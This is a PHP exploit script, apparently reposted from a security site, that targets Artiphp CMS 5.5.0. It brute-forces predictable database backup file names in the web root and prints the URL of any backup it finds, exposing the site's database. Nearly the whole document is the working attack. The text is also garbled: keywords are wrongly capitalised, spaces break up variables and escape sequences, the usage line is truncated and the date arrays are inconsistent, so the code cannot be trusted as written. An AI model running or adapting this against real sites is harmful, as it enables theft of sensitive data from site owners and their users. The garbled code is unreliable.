Artiphp CMS 5.5.0 Database Backup leakage Exploit

<? Php
 
/*
 
Artiphp CMS 5.5.0 Database Backup Disclosure Exploit
 
 
Author: Artiphp www.2cto.com http://www.artiphp.com
Affected Versions: 5.5.0 Neo (r422)
 
Summary: Artiphp is a content management system (CMS) open
And free to create and manage your website.
 
Description: Artiphp stores database backups using backupDB () utility
With a predictable file name inside the web root, which can be
Exploited to disclose sensitive information by downloading
File. The backup is located in '/artzone/artpublic/database /'
Directory as 'db_backup_1_type=.w.yyyy-mm-dd1_. SQL .gz 'filename.
 
Test Platform: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.21
PHP 5.3.8/5.3.9
MySQL 5.5.20
 
 
This vulnerability found in Gjoko 'liquidworm' Krstic @ zeroscience
 
 
 
*/
 
Error_reporting (0 );
 
Print "\ no ========================================== ==================================== o \ n ";
Print "| ";
Print "\ n | \ tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit | \ n ";
Print "| \ n ";
Print "| \ t \ tby LiquidWorm | \ n ";
Print "| ";
Print "\ no ========================================== ==================================== o \ n ";
 
If ($ argc <3)
{
Print "\ n \ x20 [*] Usage: php $ argv [0] Die ();
}
 
$ Godina_array = array ('20140901', '20160901', '20160901 ');
 
$ Mesec_array = array ('12', '11', '10', '09 ',
'08 ', '07', '06 ', '05 ',
'04 ', '03', '02', '01 ');
 
$ Dn_array = array ('31', '30', '29', '28', '27', '26 ',
'25', '24', '23', '22', '21', '20 ',
'19', '18', '17', '16', '15', '14 ',
'13', '12', '11', '10', '09', '08 ',
'07 ', '06', '05', '04 ', '03', '02 ',
'01 ');
 
$ Backup_array = array ('full', 'structuring ', 'partial ');
 
$ Host = $ argv [1];
$ Port = intval ($ argv [2]);
$ Path = "/artiphp/artzone/artpublic/database/"; // www.2cto.com change per need.
 
$ Alert1 = "\ 033 [0; 31 m ";
$ Alert2 = "\ 033 [0; 37 m ";
 
Foreach ($ godina_array as $ godina)
{
Print "\ n \ x20 [*] Checking year:". $ godina. "\ n Scanning :";
Sleep (2 );
Foreach ($ mesec_array as $ mesec)
{
Foreach ($ dn_array as $ dn)
{
Print "~ ";
Foreach ($ backup_array as $ backup)
{
If (file_get_contents ("http ://". $ host. ":". $ port. $ path. "db_backup _". $ backup. ". ". $ godina. "-". $ mesec. "-". $ dn. ". SQL .gz "))
{
Print "\ n \ x20 [!] DB backup file discovered! \ N ";
Echo $ alert1;
Print "\ x20 ==>\ x20 ";
Echo $ alert2;
Die ("http ://". $ host. ":". $ port. $ path. "db_backup _". $ backup. ". ". $ godina. "-". $ mesec. "-". $ dn. ". SQL .gz \ n ");
}
}
}
}
}
 
Print "\ n \ x20 [*] Zero findings. \ n"
 
?>